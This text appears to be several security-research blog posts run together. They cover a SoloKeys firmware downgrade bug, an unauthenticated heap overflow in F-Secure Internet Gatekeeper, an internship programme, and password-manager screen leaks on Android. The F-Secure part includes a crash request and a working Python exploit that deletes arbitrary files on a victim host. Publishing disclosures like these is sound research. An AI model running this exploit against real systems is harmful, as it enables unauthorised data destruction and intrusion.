This blogpost summarizes the result of a cooperation between SoloKeys and Doyensec, and was originally published on SoloKeys blog by Emanuele Cesena. You can download the full security auditing report here.
We engaged Doyensec to perform a security assessment of our firmware, v3.0.1 at the time of testing. During a 10 person/days project, Doyensec discovered and reported 3 vulnerabilities in our firmware. While two of the issues are considered informational, one issue has been rated as high severity and fixed in v3.1.0. The full report is available with all details, while in this post we’d like to give a high level summary of the engagement and findings.
One of the first requests we received after Solo’s Kickstarter was to run an independent security audit. At the time we didn’t have resources to run it and towards the end of 2019 I even closed the ticket as won’t fix, causing a series of complaints from the community.
Recently, we shared that we’re building a new model of Solo based on a new microcontroller, the NXP LPC55S69, and a new firmware rewritten in Rust (a blog post on the firmware is coming soon). As most of our energies will be spent on the new firmware, we didn’t want the current STM32-based firmware to be abandoned. We’ll keep supporting it, fixing bugs and vulnerabilities, but it’s likely it will receive less attention from the wider community.
Therefore we thought this was a good time for a security analysis.
We asked Doyensec to detail not just their findings but also their process, so that we can re-validate the new firmware in Rust when released. We expect to run another analysis on the new firmware, although there’s no concrete plan yet.
The security review consisted of a manual source code review and fuzzing of the firmware. One researcher performed the review for 2 weeks from Jan 21 to Jan 31, 2020.
In short, he found a downgrade attack where he was able to “upgrade” a firmware to a previous version, exploiting the ability to upload the firmware in multiple, unordered chunks. Downgrade attacks are generally very sensitive because they allow an attacker to downgrade to a previous version of the firmware and then take advantage of older known vulnerabilities.
Practically speaking, however, running such an attack against a Solo key requires either physical access to the key or -if attempted on a malicious site- an explicit user acknowledgement on the WebAuthn window.
This means that your key is almost certainly safe. In addition, we always recommend upgrading the firmware with our official tools.
Also note that our firmware is digitally signed and this downgrade attack couldn’t bypass our signature verification. Therefore a possible attacker can only install one of our twenty-ish previous releases.
Needless to say, we took the vulnerability very seriously and fixed it immediately.
This was the incriminated code. And this is the patch, that should help understand what happened.
Solo firmware updates are a binary blob where the last 4 bytes represent the version. When a new firmware is installed on the keys, these bytes are checked to ensure that its version is greater than the currently installed one. The firmware digital signature is also verified, but this is irrelevant as this attack only allows to install older signed releases.
The new firmware is written to the keys in chunks. At every write, a pointer to the last written address is updated, so that eventually it will point to the new version at the end of the firmware. You might see the issue: we were assuming that chunks are written only once and in order, but this was not enforced. The patch fixes the issue by requiring that the chunks are written strictly in ascending order.
As an example, think of running v3.0.1, and take an old firmware - say v3.0.0. Search four bytes in it which, when interpreted as a version number, appear to be greater than v3.0.1. First, send the whole 3.0.0 firmware to the key. The last_written_app_address pointer now correctly points to the end of the firmware, encoding version 3.0.0.
Then, write again the four chosen bytes at their original location. Now last_written_app_address points somewhere in the middle of the firmware, and those 4 bytes are interpreted as a “random” version. It turns out firmware v3.0.0 contains some bytes which can be interpreted as v3.0.37 – boom! Here is a fully working proof-of-concept.
The researcher also integrated AFL (American Fuzzy Lop) and started fuzzing our firmware. Our firmware depends on an external library, tinycbor, for parsing CBOR data. In about 24 hours of execution, the researcher exercised the code with over 100M inputs and found over 4k bogus inputs that are misinterpreted by tinycbor and cause a crash of our firmware. Interestingly, the initial inputs were generated by our FIDO2 testing framework.
The fuzzer will be integrated in our testing toolchain soon. If anyone in the community is interested in fuzzing and would like to contribute by fixing bugs in tinycbor we would be happy to share details and examples.
In summary, we engaged a security engineering company (Doyensec) to perform a security review of our firmware. You can read the full report for details on the process and the downgrade attack they found. For any additional question or for helping with fuzzing of tinycbor feel free to reach out on Twitter @SoloKeysSec or at hello@solokeys.com.
We would like to thank Doyensec for their help in securing the SoloKeys platform. Please make sure to check their website, and oh, they’re also launching a game soon. Yes, a mobile game with a hacking theme!
This blog post illustrates a vulnerability we discovered in the F-Secure Internet Gatekeeper application. It shows how a simple mistake can lead to an exploitable unauthenticated remote code execution vulnerability.
All testing should be reproducible in a CentOS virtual machine, with at least 1 processor and 4GB of RAM.
An installation of F-Secure Internet Gatekeeper will be needed. It used to be possible to download it from https://www.f-secure.com/en/business/downloads/internet-gatekeeper. As far as we can tell, the vendor no longer provides the vulnerable version.
The original affected package has the following SHA256 hash:
1582aa7782f78fcf01fccfe0b59f0a26b4a972020f9da860c19c1076a79c8e26
.
Proceed with the installation:
yum install glibc.i686
rpm -I <fsigkbin>.rpm
Now you can use GHIDRA/IDA or your favorite dissassembler/decompiler to start reverse engineering Internet Gatekeeper!
As described by F-Secure, Internet Gatekeeper is a “highly effective and easy to manage protection solution for corporate networks at the gateway level”.
F-Secure Internet Gatekeeper contains an admin panel that runs on port 9012/tcp. This may be used to control all of the services and rules available in the product (HTTP proxy, IMAP proxy, etc.). This admin panel is served over HTTP by the fsikgwebui binary which is written in C. In fact, the whole web server is written in C/C++; there are some references to civetweb, which suggests that a customized version of CivetWeb may be in use.
The fact that it was written in C/C++ lead us down the road of looking for memory corruption vulnerabilities which are usually common in this language.
It did not take long to find the issue described in this blog post by fuzzing the admin panel with Fuzzotron which uses Radamsa as the underlying engine. fuzzotron
has built-in TCP support for easily fuzzing network services. For a seed, we extracted a valid POST
request that is used for changing the language on the admin panel. This request can be performed by unauthenticated users, which made it a good candidate as fuzzing seed.
When analyzing the input mutated by radamsa
we could quickly see that the root cause of the vulnerability revolved around the Content-length
header. The generated test that crashed the software had the following header value: Content-Length: 21487483844
. This suggests an overflow due to incorrect Integer math.
After running the test through gdb
we discovered that the code responsible for the crash lies in the fs_httpd_civetweb_callback_begin_request
function. This method is responsible for handling incoming connections and dispatching them to the relevant functions depending on which HTTP verbs, paths or cookies are used.
To demonstrate the issue we’re going to send a POST
request to port 9012
where the admin panel is running. We set a very big Content-Length
header value.
POST /submit HTTP/1.1
Host: 192.168.0.24:9012
Content-Length: 21487483844
AAAAAAAAAAAAAAAAAAAAAAAAAAA
The application will parse the request and execute the fs_httpd_get_header
function to retrieve the content length. Later, the content length is passed to the function strtoul
(String to Unsigned Long)
The following pseudo code provides a summary of the control flow:
content_len = fs_httpd_get_header(header_struct, "Content-Length");
if ( content_len ){
content_len_new = strtoul(content_len_old, 0, 10);
}
What exactly happens in the strtoul
function can be understood by reading the corresponding man
pages. The return value of strtoul
is an unsigned long int, which can have a largest possible value of 2^32-1
(on 32 bit systems).
The strtoul() function returns either the result of the conversion or, if there was a leading minus sign, the negation of the result of the conversion represented as an unsigned value, unless the original (nonnegated) value would overflow; in the latter case, strtoul() returns ULONG_MAX and sets errno to ERANGE. Precisely the same holds for strtoull() (with ULLONG_MAX instead of ULONG_MAX).
As our provided Content-Length
is too large for an unsigned long int, strtoul
will return the ULONG_MAX value which corresponds to 0xFFFFFFFF
on 32 bit systems.
So far so good. Now comes the actual bug. When the fs_httpd_civetweb_callback_begin_request
function tries to issue a malloc request to make room for our data, it first adds 1 to the content_length
variable and then calls malloc
.
This can be seen in the following pseudo code:
// fs_malloc == malloc
data_by_post_on_heap = fs_malloc(content_len_new + 1)
This causes a problem as the value 0xFFFFFFFF + 1
will cause an integer overflow, which results in 0x00000000
. So the malloc call will allocate 0 bytes of memory.
Malloc does allow invocations with a 0 bytes argument. When malloc(0)
is called a valid pointer to the heap will be returned, pointing to an allocation with the minimum possible chunk size of 0x10 bytes. The specifics can be also read in the man pages:
The malloc() function allocates size bytes and returns a pointer to the allocated memory. The memory is not initialized. If size is 0, then malloc() returns either NULL, or a unique pointer value that can later be successfully passed to free().
If we go a bit further down in the Internet Gatekeeper code, we can see a call to mg_read
.
// content_len_new is without the addition of 0x1.
// so content_len_new == 0xFFFFFFFF
if(content_len_new){
int bytes_read = mg_read(header_struct, data_by_post_on_heap, content_len_new)
}
During the overflow, this code will read an arbitrary amount of data onto the heap - without any restraints. For exploitation, this is a great primitive since we can stop writing bytes to the HTTP stream and the software will simply shut the connection and continue. Under these circumstances, we have complete control over how many bytes we want to write.
In summary, we can leverage Malloc’s chunks of size 0x10 with an overflow of arbitrary data to override existing memory structures. The following proof of concept demonstrates that. Despite being very raw, it exploits an existing struct on the heap by flipping a flag to should_delete_file = true
, and then subsequently spraying the heap with the full path of the file we want to delete. Internet Gatekeeper internal handler has a decontruct_http
method which looks for this flag and removes the file. By leveraging this exploit, an attacker gains arbitrary file removal which is sufficient to demonstrate the severity of the issue.
from pwn import *
import time
import sys
def send_payload(payload, content_len=21487483844, nofun=False):
r = remote(sys.argv[1], 9012)
r.send("POST / HTTP/1.1\n")
r.send("Host: 192.168.0.122:9012\n")
r.send("Content-Length: {}\n".format(content_len))
r.send("\n")
r.send(payload)
if not nofun:
r.send("\n\n")
return r
def trigger_exploit():
print "Triggering exploit"
payload = ""
payload += "A" * 12 # Padding
payload += p32(0x1d) # Fast bin chunk overwrite
payload += "A"* 488 # Padding
payload += p32(0xdda00771) # Address of payload
payload += p32(0xdda00771+4) # Junk
r = send_payload(payload)
def massage_heap(filename):
print "Trying to massage the heap....."
for x in xrange(100):
payload = ""
payload += p32(0x0) # Needed to bypass checks
payload += p32(0x0) # Needed to bypass checks
payload += p32(0xdda0077d) # Points to where the filename will be in memory
payload += filename + "\x00"
payload += "C"*(0x300-len(payload))
r = send_payload(payload, content_len=0x80000, nofun=True)
r.close()
cut_conn = True
print "Heap massage done"
if __name__ == "__main__":
if len(sys.argv) != 3:
print "Usage: ./{} <victim_ip> <file_to_remove>".format(sys.argv[0])
print "Run `export PWNLIB_SILENT=1` for disabling verbose connections"
exit()
massage_heap(sys.argv[2])
time.sleep(1)
trigger_exploit()
print "Exploit finished. {} is now removed and remote process should be crashed".format(sys.argv[2])
Current exploit reliability is around 60-70% of the total attempts, and our exploit PoC relies on the specific machine as listed in the prerequisites.
Gaining RCE should definitely be possible as we can control the exact chunk size and overwrite as much data as we’d like on small chunks. Furthermore, the application uses multiple threads which can be leveraged to get into clean heap arenas and attempt exploitation multiple times. If you’re interested in working with us, email your RCE PoC to info@doyensec.com ;)
This critical issue was tracked as FSC-2019-3 and fixed in F-Secure Internet Gatekeeper versions 5.40 – 5.50 hotfix 8 (2019-07-11). We would like to thank F-Secure for their cooperation.
“Our moral responsibility is not to stop the future, but to shape it…” — Alvin Toffler
At Doyensec, we feel responsible for what the future of information security will look like. We want a safe and open Internet and we believe that hackers play an important role. As a part of our give back strategy, we want to find ways of transferring our knowledge to new generations.
Doyensec interns work alongside experienced security researchers during live customer engagements. They receive full time support from senior staff members and are encouraged to explore individual research projects. Additionally, they are included in all team meetings so they can learn and share in the different experiences arising from our work. In short, we want to provide a comprehensive experience on what it means to be a first-class security consultant in the vulnerability research space.
The internship program @Doyensec represents an opportunity to learn new infosec skills. We also hope it becomes a memorable personal experience. It lasts 2-3 months and is a mix of remote and in-person interactions.
Day one is important. Interns will be responsible for setting up their Doyensec provided machine and will be introduced to the team. They will be assigned to a senior security researcher who will be at their disposal and act as mentor throughout the entire internship. They will learn how we schedule projects, communicate, and cooperate to ensure complete coverage during our testing activities. We will provide them with all necessary equipment to perform the work. Most importantly, they will learn about our values and things that we consider crucial for delivering high quality work.
While the internship is considered full time over the course of 2/3 months, we did have interns who were still studying and wanted to combine both work and school. We take pride in having a flexible company culture oriented around results and our approach to the internship is no different.
“For knowledge work, time spent has little to do with value created and the forty hour workweek is anachronistic nonsense.” — Naval Ravikant @naval
Work days are generally grouped into two categories:
a) Customer projects. Interns work on real-life projects. Whenever possible, we will try to match personal interest and skillset with tasks when allocating projects.
b) Research time. We strongly believe in research and practice, therefore we allow interns to spend 50% of their time on research topics. We will define goals together and provide guidance and feedback on the progress.
Mohamed Ouad is a student of computer science at the University of Milan. In the fall of 2018 he joined Doyensec as our second intern. We asked him a few questions to summarize his experience:
What did you learn during your internship?
“During this period I had the possibility to learn a lot of things, and not just technical stuff. For instance, I understood how to explain findings to non-technical audience and manage projects with strict deadlines.”
Have you improved your skillset?
“Definitely! I improved my knowledge of Android security and got interested in Google Chrome extensions security, static code review and Electron-based apps security.”
Will the internship have an impact on your career?
“This experience has given me a huge added value to my career path. I’ve not only learned a lot, but also created an important item in my curriculum that will be certainly useful for future opportunities. I suggest this “adventure” to everyone!”
The Doyensec internship program is open to students returning to full-time education for at least one semester. We accept candidates with residency in either US or Europe.
What do we offer:
Our perfect candidate:
In contrast to full-time positions (we are always hiring web and mobile pentesters!), a good attitude is the most important factor we are looking for.
Do you want to join Doyensec as an intern? Apply via our careers portal!
A few months ago I stumbled upon a 2016 blog post by Mark Murphy, warning about the state of FLAG_SECURE
window leaks in Android. This class of vulnerabilities has been around for a while, hence I wasn’t confident that I could still leverage the same weakness in modern Android applications. As it often turns out, I was being too optimistic. After a brief survey, I discovered that the issue still persists today in many password manager applications (and others).
The FLAG_SECURE
setting was initially introduced as an additional setting to WindowManager.LayoutParams
to prevent DRM-protected content from appearing in screenshots, video screencaps or from being viewed on “non-secure displays”.
This last term was created to distinguish between virtual screens created by the MediaProjection API (a native API to capture screen contents) and physical display devices like TV screens (having a DRM-secure video output). In this way Google forestalled the piracy apps issue by preventing unsigned apps from creating virtual “secure” displays, only allowing casting to physical “secure” devices.
While FLAG_SECURE
nowadays serves its original purpose well (to the delight of e.g. Netflix, Google Play Movies, Youtube Red), developers during the years mistook this “secure” flag as an easy catch-all security feature provided by Android to mark the entire app from being excepted from a screen capture or recording.
Unfortunately, this functionality is not global for the entire app, but can only be set on specific screens that contain sensitive data. To make matters worse, every Android fragment used in the application will not respect the FLAG_SECURE
set for the activity and won’t pass down the flag to any other Window
instances created on behalf of that activity. As a consequence of this, several native UI components like Spinner
,Toast
,Dialog
,PopupWindow
and many others will still leak their content to third party applications having the right permissions.
After a short survey, I decided to investigate a category of apps in which a content leak would have had the biggest impact: mobile password managers. This would also be the category of applications a generic attacker would probably choose to target first, along with banking apps.
With this in mind, I fired up a screen capture application (mnml) and started poking around.
After a few days of testing, every Android password manager examined (4) was found to be vulnerable to some extent.
The following sections provide a summary of the discovered issues. All vulnerabilities were disclosed to the vendors throughout the second week of May 2019.
In 1Password, the Account Settings’ section offers a way to manage 1Password accounts. One of the functionalities is “Large Type”, which allows showing an account’s Secret Key in a large, easy-to-read format. The fragment showing the Secret Key leaks the generated password to third-party applications installed on the victim’s device. The Secret Key is combined with the user’s Master Password to create the full encryption key used to encrypt the accounts data, protecting them on the server side.
This was fixed in 1Password for Android in version 7.1.5, which was released on May 29, 2019.
When a user taps the password field, Keeper shows a “Copied to Clipboard” toast. But if the user shows the cleartext password with the “Eye” icon, the toast will also contain the secret cleartext password. This fragment showing the copied password leaks the password to third-party applications.
This was fixed in Keeper for Android version 14.3.0, which was released on June 21, 2019. An official advisory was also issued.
Dashlane features a random password generation functionality, usable when an account entry is inserted or edited. Unfortunately, the window responsible for choosing the parameter for the “safe” passwords is visible by third parties applications on the victim’s device.
Note that it is also possible for an attacker to infer the service associated with the leaked password, since the services list and autocomplete fragment is also missing the FLAG_SECURE
flag, resulting in its leak.
The issue was fixed in Dashlane for Android in version 6.1929.2.
Several scenarios would result in an app being installed on a user’s phone recording their activity. These include:
If these scenarios seem unlikely to happen in real life, it is worth noting that there have been several instances of apps abusing this class of attacks in the recent past.
Many thanks to the 1Password, Keeper, and Dashlane security teams that handled the report in a professional way, issued a payout, and allowed the disclosure. Please remember that using a password manager is still the best choice these days to protect your digital accounts and that all the above issues are now fixed.
As always, this research was possible thanks to my 25% research time at Doyensec!